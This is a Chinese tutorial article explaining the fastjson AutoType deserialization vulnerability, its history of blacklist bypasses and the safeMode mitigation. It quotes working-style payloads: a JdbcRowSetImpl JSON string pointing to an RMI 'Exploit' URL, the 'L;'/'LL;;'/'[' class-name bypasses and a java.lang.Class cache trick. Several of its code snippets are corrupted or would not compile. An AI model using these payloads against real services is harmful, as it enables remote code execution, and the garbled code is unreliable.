【深入之Java进阶篇】fastjson的反序列化漏洞(详解总结)

news2024/11/19 9:39:43

在这里插入图片描述

✔️ fastjson的反序列化漏

  • 1️⃣典型解析
  • 2️⃣拓展知识仓
    • 1️⃣AutoType
    • 2️⃣AutoType 有何错?
    • 3️⃣ 绕过checkAutotype,黑客与fastjson的博弈
    • 4️⃣autoType不开启也能被攻击?
    • 5️⃣利用异常进行攻击
    • 6️⃣AutoType 安全模式?

1️⃣典型解析


当我们使用fastjson进行序列化的时候,当一个类中包含了一个接口(或抽象类)的时候,会将子类型抹去,只保留接口(抽象类)的类型,使得反序列化时无法拿到原始类型。


那么为了解决这个问题,fastjson引入了AutoType,即在序列化的时候,把原始类型记录下来。


因为有了AutoType功能,那么fastjson在对JSON字符串进行反序列化的时候,就会读取 @type到内容,试图把JSON内容反序列化成这个对象,并且会调用这人类的setter方法。


那么这个特性就可能被利用,攻击者自己构造一个JSON字符串,并且使用@type 指定一个自己想要使用的攻击类库实现攻击。


举个栗子,黑客比较常用的攻击类库是com.sun.rowset.JdbcRowSetlmpl,这是sun官方提供的一个类库,这类的dataSourceName支持传入一个 RMI的源,当解析这个uri的时候,就会支持rmi远程调用,去指定的rmi地址中去调用方法。


而fastjson在反序列化时会调用目标类的setter方法,那么如果黑客在JdbcRowSetlmpl的dataSourceName中设置了一个想要执行的命令,那么就会导致很严重的后果。


如通过以下方式定一个JSON串,即可实现远程命令执行(在早期版本中,新版本中JdbcRowSetlmpl已经被加了黑名单)。


{“@type”:“com.sun.rowset.JdbcRowSetImpl” “dataSourceName”.“rmi: //localhost:1999/Exploit”,“autoCommit”:truel }


这就是所谓的远程命令执行漏洞,即利用漏洞入侵到目标服务器,通过服务器执行命令。


Demo1 :我们来看一段代码片段:

一个反序列化例子,包括处理可能的错误和异常,以及数据结构:


import com.alibaba.fastjson.JSON;  
import com.alibaba.fastjson.JSONArray;  
import com.alibaba.fastjson.JSONObject;  
import com.alibaba.fastjson.parser.ParserConfig;  
import com.alibaba.fastjson.parser.deserializer.ObjectDeserializer;  
import com.alibaba.fastjson.serializer.JSONSerializer;  
import com.alibaba.fastjson.serializer.ObjectSerializer;  
  
import java.io.IOException;  
import java.io.OutputStream;  
import java.util.List;  

/**
 * @author 昕宝爸爸爱编程
 * Demo1
 */  
public class Main {  
    public static void main(String[] args) {  
        // 复杂的JSON字符串  
        String json = "{\"name\":\"苏西\",\"age\":20,\"address\":{\"city\":\"北京\",\"street\":\"长安街\"},\"friends\":[{\"name\":\"爱德蒙\",\"age\":25},{\"name\":\"羚羊夫人\",\"age\":30}]}";  
  
        // 自定义序列化/反序列化器,这里只是为了演示,实际上需要处理更复杂的逻辑  
        ParserConfig.getGlobalInstance().addAccept("com.example.");  
        ParserConfig customParserConfig = ParserConfig.getGlobalInstance();  
        customParserConfig.putDeserializer(User.class, new UserDeserializer());  
        customParserConfig.putSerializer(User.class, new UserSerializer());  
          
        // 尝试解析JSON字符串  
        try {  
            JSONObject jsonObject = JSON.parseObject(json, customParserConfig);  
            System.out.println("解析成功!");  
            System.out.println(jsonObject);  
              
            // 反序列化嵌套对象和数组  
            Address address = jsonObject.getObject("address", Address.class);  
            JSONArray friends = jsonObject.getJSONArray("friends");  
            List<User> userList = JSONArray.toJavaObject(friends, new TypeReference<List<User>>(){});  
              
            System.out.println("Address: " + address);  
            System.out.println("Friends:");  
            for (User friend : userList) {  
                System.out.println(friend);  
            }  
        } catch (Exception e) {  
            System.err.println("解析JSON出错: " + e.getMessage());  
        }  
    }  
}  
  
class User {  
    private String name;  
    private int age;  
    private Address address;  
    // getters and setters...   省略掉了哦
}  
  
class Address {  
    private String city;  
    private String street;  
    // getters and setters...   省略掉了哦
}  
  
class UserDeserializer implements ObjectDeserializer {  
    @Override  
    public Object deserialze(JSONParser parser, Type type) {  
         
        JSONObject jsonObject = parser.getJSONObject();  
        return new User(jsonObject.getString("name"), jsonObject.getIntValue("age"), new Address(jsonObject.getString("city"), jsonObject.getString("street")));  
    }  
}  
  
class UserSerializer implements ObjectSerializer {  
    @Override  
    public void write(JSONSerializer serializer, Object object, Object fieldName, Type fieldType) throws IOException {  
     
        User user = (User) object;  
        serializer.write(user); // 这里假设User类实现了Serializable接口,并且有一个合理的默认序列化行为。  
    }  
}

这个Demo1主要展示了如何使用fastjson库进行JSON的序列化和反序列化,特别是如何处理嵌套对象和数组。同时,也展示了如何自定义反序列化和序列化过程。

2️⃣拓展知识仓


1️⃣AutoType


fastjson的主要功能就是将Java Bean序列化成JSON字符,这样得到字符串之后就可以通过数据库等方式进行持久化了。


但是,fastjson在序列化以及反序列化的过程中并没有使用Java自带的序列化机制,而是自定义了一套机制。


其实,对于JSON框架来说,想要把一个Java对象转换成字符串,可以有两种选择:

1 . 基于属性
2 . 基于setter/getter


而我们所常用的JSON序列化框架中,FastJson和jackson在把对象序列化成json字符审的时候,是通过遍历出该类中的所有getter方法进行的。Gson并不是这么做的,他是通过反射遍历该类中的所有属性,并把其值序列化成json。


假设我们有以下一个Java类:


class Store {
	private String name;
	private Fruit fruit;
	public string getName() {
		return name;
	}
	public void setName(String name) {
		this .name = name ;
	}
	public Fruit getFruit() {
		return fruit;
	}
	public void setFruit(Fruit fruit) {
		this.fruit = fruit;
	}
	
}


interface Fruit {
}
class Apple implements Fruit {
	private BigDecimal price;
	//省略 setter/getter、toString等
}

当我们要对他进行序列化的时候,fastjson会扫描其中的getter方法,即找到getName和getFruit,这时候就会将name和fruit两个字段的值序列化到JSON字符串中。


那么问题来了,我们上面的定义的Fruit只是一个接口,序列化的时候fastjson能够把属性值正确序列化出来吗?如果可以的话,那么反序列化的时候,fastjson会把这个fruit反序列化成什么类型呢?


我们尝试着验证一下,基于(fastison v 1.2.68):


Store store = new store();
store.setName("爱德蒙");
Apple apple = new Apple();
apple.setPrice(new BigDecimal(0.5));
store.setFruit(apple);
string isonstring = ]SON.to]sONstring(store);System.out.println("to]SONString : " + jsonString);

以上代码比较简单,我们创建了一个store,为他指定了名称,并且创建了一个Fruit的子类型Apple,然后将这个store使用 JSON.toJSONString 进行序列化,可以得到以下JSON内容:


toJSONString : {“fruit”:{“price”:0.51},“name”:“爱德蒙”}


那么,这个fruit的类型到底是什么呢,能否反序列化成Apple呢? 我们再来执行以下代码:


Store newstore = JsON.parseObiect(isonstring, Store.class);
System.out.println("parseObject : " + newStore);
Apple newApple = (Apple)newStore.getFruit();
System.out.println("getFruit : " + newApple);

执行结果如下:


在这里插入图片描述

可以看到,在将store反序列化之后,我们尝试将Fruit转换成Apple,但是抛出了异常,尝试直接转换成Fruit则不会报错,如:


Fruit newFruit = newStore.getFruit();
System.out.println("getFruit :" + newFruit);

以上现象,我们知道,当一个类中包含了一个接口(或抽象类)的时候,在使用fastjson进行序列化的时候,会将子类型抹去,只保留接口 (抽象类)的类型,使得反序列化时无法拿到原始类型。


那么有什么办法解决这个问题呢,fastjson引入了AutoType,即在序列化的时候,把原始类型记录下来.使用方法是通过 SerializerFeature.WriteClassName 进行标记,即将上述代码中的:


String jsonString = JSON.toJSONString(store);

修改为:


String jsonString = JSON.toJSONString(store,SerializerFeature.WriteClasslame);

即可,以上代码,输出结果如下:


在这里插入图片描述

可以看到,使用 SerializerFeature.WriteClassName 进行标记后,JSON字符串中多出来一个@Type字段,标注了类对应的原始类型,方便在反序列化的时候定位到具体类型。


如上,将序列化后的字符串在反序列化,既可以顺利的拿到一个Apple类型,整体输出内容:


在这里插入图片描述

这就是AutoType,以及fastison中引入AutoType的原因。


但是,也正是这个特性,因为在功能设计之初在安全方面考虑的不够周全,也给后续fastjson使用者带来了无尽的痛苦。


2️⃣AutoType 有何错?


因为有了autoType功能,那么fastjson在对JSON字符审进行反序列化的时候,就会读取 @type 到内容,试图把JSON内容反序列化成这人对象,并目会调用这个类的setter方法。


那么就可以利用这个特性,自己构造一个JSON字符串,并且使用 @type 指定一个自己想要使用的攻击类库。


举个例子,黑客比较常用的攻击类库是 com.sun.rowset.JdbcRowSetImpl ,这是sun官方提供的一个类库,这个类的dataSourceName支持传入一个rmi的源,当解析这个uri的时候,就会支持rmi远程调用,去指定的rmi地址中去调用方法。


而fastjson在反序列化时会调用目标类的setter方法,那么如果黑客在JdbcRowSetlmpl的dataSourceName中设置了一个想要执行的命令,那么就会导致很严重的后果。

如通过以下方式定一个JSON串,即可实现远程命令执行(在早期版本中,新版本中JdbcRowSetlmpl已经被加了黑名单)


在这里插入图片描述

这就是所谓的远程命令执行漏洞,即利用漏洞入侵到目标服务器,通过服务器执行命令


在早期的fastison版本中(v1.2.25 之前),因为AutoType是默认开启的,并且也没有什么限制,可以说是裸着的。

从v1.2.25开始,fastjson默认关闭了autotype支持,并且加入了checkAutotype,加入了黑名单+白名单来防御autotype开启的情况。

但是,也是从这个时候开始,黑客和fastjson作者之间的博弈就开始了。

因为fastjson默认关闭了autotype支持,并且做了黑白名单的校验,所以攻击方向就转变成了 “如何绕过checkAutotype” 。


下面就来细数一下各个版本的fastjson中存在的漏洞以及攻击原理,**由于篇幅限制,这里并不会讲解的特别细节如果大家感兴趣我后面可以单独写一篇文章讲一讲细节。**下面的内容主要是提供一些思路,目的是说明写代码的时候注意安全性的重要性。


3️⃣ 绕过checkAutotype,黑客与fastjson的博弈


在fastjson v1.2.41 之前,在checkAutotype的代码中,会先进行黑白名单的过滤,如果要反序列化的类不在黑广名单中,那么才会对目标类进行反序列化。


但是在加载的过程中,fastison有一段特殊的处理,那就是在具体加载类的时候会去掉ClassName前后的 L 和 ; ,形们 Lcom.lang.Thread; 。


在这里插入图片描述

而黑白名单又是通过startWith检测的,那么黑客只要在自己想要使用的攻击类库前后加上 L 和 ; 就可以绕过黑白名单的检查了,也不耽误被fastjson正常加载。


Lcom.sun.rowset.JdbcRowSetImpl;,会先通过白名单校验,然后fastison在加载类的时候会去掉前后的L; 变成了 com.sun.rowset.JdbcRowSetlmpl


为了避免被攻击,在之后的 v1.2.42版本中,在进行黑白名单检测的时候,fastjson先判断目标类的类名的前后是不是 L,如果是的话,就截取掉前后的 L; 再进行黑白名单的校验。


看似解决了问题,但是黑客发现了这个规则之后,就在攻击时在目标类前后双写 LL;; ,这样再被截取之后还是可以绕过检测。如 LLcom.sun.rowset.JdbcRowSetImpl;;


魔高一尺,道高一丈。在v1.2.43中,fastison这次在黑白名单判断之前,增加了一个是否以 LL 末开头的判断如果目标类以 LL 开头,那么就直接抛异常,于是就又短暂的修复了这个漏洞。


黑客在 L和 ;,这里走不通了,于是想办法从其他地方下手,因为fastjson在加载类的时候,不只对 L 和,这样的类进行特殊处理,还对 也被特殊处理了。


同样的攻击手段,在目标类前面添加 [ ,v1.2.43以前的所有版本又沦陷了。


于是,在v1.2.44版本中,fastjson的作者做了更加严格的要求,只要目标类以[ 开头或者以 ,结尾,都直接抛异常。也就解决了 v1.2.43及历史版本中发现的bug。


在之后的几个版本中,黑客的主要的攻击方式就是绕过黑名单了,而fastjson也在不断的完善自己的黑名单。


4️⃣autoType不开启也能被攻击?


但是好景不长,在升级到 v1.2.47 版本时,黑客再次找到了办法来攻击。而且这个攻击只有在autoType关闭的的候才生效。

请添加图片描述
是不是很奇怪,autoType不开启反而会被攻击?


因为在fastjson中有一个全局缓存,在类加载的时候,如果autotype没开启,会先尝试从缓存中获取类,如果缓存中有,则直接返回。黑客正是利用这里机制进行了攻击。


黑客先想办法把一个类加到缓存中,然后再次执行的时候就可以绕过黑白名单检测了,多么聪明的手段。

首先想要把一个黑名单中的类加到缓存中,需要使用一个不在黑名单中的类,这个类就是 java.lang.class

java.lang.class 类对应的deserializer为MiscCodec,反序列化时会取JSON字符串中的val值并加载这个val对应的类。

如果fastjson cache为true,就会缓存这个val 对应的 class 到全局缓存中

如果再次加载 val 名称的类,并且autotype没开启,下一步就是会尝试从全局缓存中获取这个 class,进而进行攻击。

所以,黑客只需要把攻击类伪装以下就行了,如下格式:

{“@type”:“java.lang.Class”,“val”: “com.sun,rowset.JdbcRowSetImpl”}


于是在v1.2.48中,fastjson修复了这个bug,在MiscCodec中,处理Class类的地方,设置了fastjson cache为false,这样攻击类就不会被缓存了,也就不会被获取到了。


在之后的多个版本中,黑客与fastjson又继续一直都在绕过黑名单、添加黑名单中进行周旋。


直到后来,黑客在 v1.2.68之前的版本中又发现了一个新的漏洞利用方式。


5️⃣利用异常进行攻击


在fastjson中,如果,@type 指定的类为 Throwable 的子类,那对应的反序列化处理类就会使用到ThrowapleDeserializer


而在ThrowableDeserializer#deserialze的方法中,当有一个字段的key也是 @type时,就会把这个 value 当做类名,然后进行一次 checkAutoType 检测。


并且指定了expectClass为Throwable.class,但是在checkAutoType中,有这样一约定,那就是如果指定了expectClass,那么也会通过校验


在这里插入图片描述

因为fastison在反序列化的时候会尝试执行里面的getter方法,而Exception类中都有一个getMessage方法。


黑客只需要自定义一个异常,并目重写写其getMessage就达到了攻击的目的。


这个漏洞就是6月份全网疯传的那个”严重漏洞”,使得很多开发者不得不升级到新版本


这个漏洞在 v1.2.69中被修复,主要修复方式是对于需要过滤掉的expectClass进行了修改,新增了4个新的类,并且将原来的Class类型的判断修改为hash的判断。


其实,根据fastjson的官方文档介绍,即使不升级到新版,在v1.2.68中也可以规避掉这个问题,那就是使用safeMode


6️⃣AutoType 安全模式?


可以看到,这些漏洞的利用几乎都是围绕AutoType来的,于是,在 v1.2.68版本中,引入了safeMode,配置safeMode后,无论白名单和黑名单,都不支持autoType,可一定程度上缓解反序列化Gadgets类变种攻击。


设置了safeMode后,@type 字段不再生效,即当解析形@type":"comjava.class"的JSON串时,将不再反序列化出对应的类。


开启safeMode方式如下

ParserConfig.getGlobalInstance().setSafeMode(true);


如在本文的最开始的代码示例中,使用以上代码开启safeMode模式,执行代码,会得到以下异常:


在这里插入图片描述

但是值得注意的是,使用这个功能,fastjson会直接禁用autoType功能,即在checkAutoType方法中,直接抛出个异常。


在这里插入图片描述

开发者可以将自己项目中使用的fastjson升级到最新版,并且如果代码中不需要用到Autolype的话,可以考虑使用safeMode,但是要评估下对历史代码的影影响。


因为fastjson自己定义了序列化工具类,并且使用asm技术避免反射、使用缓存、并且做了很多算法优化等方式,大大提升了序列化及反序列化的效率。


看一个对比表:

在这里插入图片描述

当然,快的同时也带来一些安全性问题,这是不可否认的。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1338127.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

ueditor富文本编辑器中图片上传地址配置以及抓取远程图片地址的配置

一&#xff1a;图片上传保存地址配置 打开文件ueditor.php,找到imagePathFormat进行修改即可 一&#xff1a;远程抓取图片配置 打开文件ueditor.config.js,找到catchRemoteImageEnable&#xff0c;取消注释即可

Unity之ShaderGraph如何实现瓶装水效果

前言 有一个场景在做效果时,有一个水瓶放到桌子上的设定,但是模型只做了个水瓶,里面是空的,所以我就想办法,如何做出来瓶中装睡的效果,最好是能跟随瓶子有液体流动的效果。 如下图所示: 水面实现 水面效果 液体颜色设置 因为液体有边缘颜色和内里面颜色,所以要分开…

strlen和sizeof的初步理解

大家好我是Beilef&#xff0c;一个美好的下我接触到编程并且逐渐喜欢。我虽然不是科班出身但是我会更加努力地去学&#xff0c;有啥不对的地方请斧正 文章目录 目录 文章目录 前言 想必大家对sizeof肯定很了解&#xff0c;那对strlen又了解多少。其实这个问题应该让不少人困扰。…

内网穿透的应用-Ubuntu安装XRDP远程桌面结合内网穿透实现远程桌面Ubuntu

文章目录 一、 同个局域网内远程桌面Ubuntu二、使用Windows远程桌面连接三、公网环境系统远程桌面Ubuntu1. 注册cpolar账号并安装2. 创建隧道&#xff0c;映射3389端口3. Windows远程桌面Ubuntu 四、 配置固定公网地址远程Ubuntu1. 保留固定TCP地址2. 配置固定的TCP地址3. 使用…

python 通过opencv及face_recognition识别人脸

效果&#xff1a; 使用Python的cv2库和face_recognition库来进行人脸检测和比对的 0是代表一样 认为是同一人。 代码&#xff1a; pip install opencv-python pip install face_recognition# 导入cv2库&#xff0c;用于图像处理 import cv2 # 导入face_recognition库&#…

【MySQL】数据库之事务

目录 一、什么是事务 二、事务的ACID是什么&#xff1f; 三、有哪些典型的不一致性问题&#xff1f; 第一种&#xff1a;脏读 第二种&#xff1a;不可重复读 第三种&#xff1a;幻读 第四种&#xff1a;丢失更新 四、隔离级别有哪些&#xff1f; &#xff08;1&#xf…

Sublime Text 4 中文汉化教程(Version: Build 4169)

Sublime Text 4汉化 1 知识小课堂1.1 sublim简介1.2 其他编辑器 2 安装过程2.1 安装Install Package Control2.2 Install Package2.3 安装工具包2.4 常用的插件2.5 安装中文包 1 知识小课堂 1.1 sublim简介 Sublime是一款代码编辑器&#xff0c;致力于为开发人员提供快速、高…

IDEA 控制台中文出现乱码问题解决

一、问题概述 请看下图 二、问题分析 IDEA控制台输出乱码一般会有三种来源&#xff1a; ① IDEA本身编码错误 ② Tomcat日志输出编码错误 ③ 项目本身原因。 终极原因&#xff1a;IDEA编码和Tomcat编码不一致&#xff0c;统一设置为UTF-8即可。 三、解决思路 修改…

双向循环链表实现C语言关键字中英翻译机 ฅ( ̳• · • ̳ฅ)

目录 1.双向循环链表的声明与定义&#xff1a; 2. 创建链表并对节点中的数据赋初值 3. 插入节点并链接 4.中英翻译 5. 小游戏的实现 6.菜单的实现 7. 释放内存 8.在主函数中用刚才定义的函数实现各种代码 输入样例&#xff1a; 实现方法&#xff1a;双向循环链表来实…

同城配送小程序解决方案

前言 同城配送小程序解决方案。 一、用户用车 用户打开小程序后发货地址自动定位到用户当前位置&#xff0c;用户可通过地址后的>号在地图上选择新的发货地址和卸货地址&#xff0c;小程序会自动规划出行线路&#xff0c;计算距离和运费价格。 用户仅用简单操作后就可以…

【网络协议】远程登录安全连接协议SSH(Secure Shell)

文章目录 什么是SSH协议&#xff1f;SSH为何是安全的&#xff1f;SSH由哪些组件构成&#xff1f;SSH可以帮助实现的功能SSH的工作原理SSH的历史版本常用的SSH工具有哪些SSH配置案例参考Windows 安装SSHUbuntu系统SSH配置Cisco Switch SSH配置华为Switch SSH配置 客户端启用SSH连…

uni-app 命令行创建

1. 首先创建项目&#xff0c;命令如下: npx degit dcloudio/uni-preset-vue#vite-ts uni-app-demo如果出现报错&#xff0c;如下图. 大概率就是没有目录C:\Users\Administrator\AppData\Roaming\npm 解决办法&#xff1a; 创建目录 C:\Users\Administrator\AppData\Roaming\n…

cpp_05_类_string类

1 类的定义 1.1 构造函数 定义&#xff1a;函数名必须与类名相同&#xff0c;且没有返回值类型 &#xff0c;连void也没有。 构造函数调用时间&#xff1a; 在定义对象的同时自动被调用&#xff0c;而且仅被调用一次&#xff1a; 1&#xff09;对象定义语句 2&#xff09;n…

20231226在Firefly的AIO-3399J开发板上在Android11下调通后摄像头ov13850

20231226在Firefly的AIO-3399J开发板上在Android11下调通后摄像头ov13850 2023/12/26 8:22 开发板&#xff1a;Firefly的AIO-3399J【RK3399】 SDK&#xff1a;rk3399-android-11-r20211216.tar.xz【Android11】 Android11.0.tar.bz2.aa【ToyBrick】 Android11.0.tar.bz2.ab And…

基于多反应堆的高并发服务器【C/C++/Reactor】(中)EventLoop初始化

这个Dispatcher是一个事件分发模型&#xff0c;通过这个模型,就能够检测对应的文件描述符的事件的时候,可以使用epoll/poll/select,前面说过三选一。另外不管是哪一个底层的检测模型,它们都需要使用一个数据块,这个数据块就叫做DispatcherData。除此之外,还有另外一个部分,因为…

idea导入spring-framework异常:error: cannot find symbol

从github上clone代码spring-framework到本地后导入idea&#xff0c;点击gradle构建后控制台提示异常&#xff1a; 具体异常信息&#xff1a; /Users/ZengJun/Desktop/spring-framework/buildSrc/src/main/java/org/springframework/build/KotlinConventions.java:44: error:…

智能优化算法应用:基于侏儒猫鼬算法3D无线传感器网络(WSN)覆盖优化 - 附代码

智能优化算法应用&#xff1a;基于侏儒猫鼬算法3D无线传感器网络(WSN)覆盖优化 - 附代码 文章目录 智能优化算法应用&#xff1a;基于侏儒猫鼬算法3D无线传感器网络(WSN)覆盖优化 - 附代码1.无线传感网络节点模型2.覆盖数学模型及分析3.侏儒猫鼬算法4.实验参数设定5.算法结果6.…

【操作系统】探究文件系统奥秘:创建proc文件系统的解密与实战

​&#x1f308;个人主页&#xff1a;Sarapines Programmer&#x1f525; 系列专栏&#xff1a;Linux专栏&#xff1a;《探秘Linux | 操作系统解密》⏰诗赋清音&#xff1a;月悬苍穹泛清辉&#xff0c;梦随星河徜徉辉。情牵天际云千层&#xff0c;志立乘风意自飞。 ​ 目录 &a…

编译原理-----逆波兰表示法,四元式,三元式,间接三元式

目录 逆波兰表达式 四元式 三元式 间接三元式 逆波兰表达式 逆波兰表示法即后缀表达式&#xff0c;而后缀表达式需要注意&#xff1a; ①遵循从外向内进行分析 ②由算数优先符从低到高进行拆分&#xff0c;例如&#xff1a; 我们以“-”号作为分隔进行拆分&#xff0c;…

STM32逆变器方案

输入电压&#xff1a; 额定输入电压&#xff1a;DC110V 输入电压范围&#xff1a;DC77-137.5V 额定输出参数 电压&#xff1a;200V5%&#xff08;200VAC~240VAC 可调&#xff09; 频率&#xff1a; 42Hz0.5Hz&#xff08;35-50 可调&#xff09; 额定输出容量&#xff1a;1…